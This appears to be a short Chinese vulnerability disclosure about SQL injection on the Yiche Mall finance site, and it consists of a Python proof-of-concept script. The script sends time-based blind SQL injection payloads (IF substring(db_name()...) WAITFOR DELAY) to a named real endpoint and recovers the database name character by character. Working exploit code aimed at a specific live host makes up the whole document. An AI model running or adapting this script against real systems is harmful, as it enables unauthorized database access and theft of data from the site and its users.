易车商城某处SQL注入漏洞（附验证脚本）

#!/usr/bin/env python
 #-*-coding:utf-8-*-
 
 import requests
 import time
 import string
 
 
 character = string.ascii_lowercase + string.digits + '._@ '
 res = ''
 
 for i in range(1, 20):
  for p in character:
   start_time = time.time()
   url = "http://jr.yichemall.com:80/Search/GetFinaceCarImgData?carIds=1);IF+substring(db_name(),{},1)='{}'+WAITFOR+DELAY+'0:0:3'+ELSE+WAITFOR+DELAY+'0:0:0'--&_=1458391361838".format(i ,p)
   req = requests.get(url)
   print req.url
   if time.time() - start_time > 3:
    res += p
    print "/n" + res + "/n"
    break
 print "/n/n[Finish]: " + res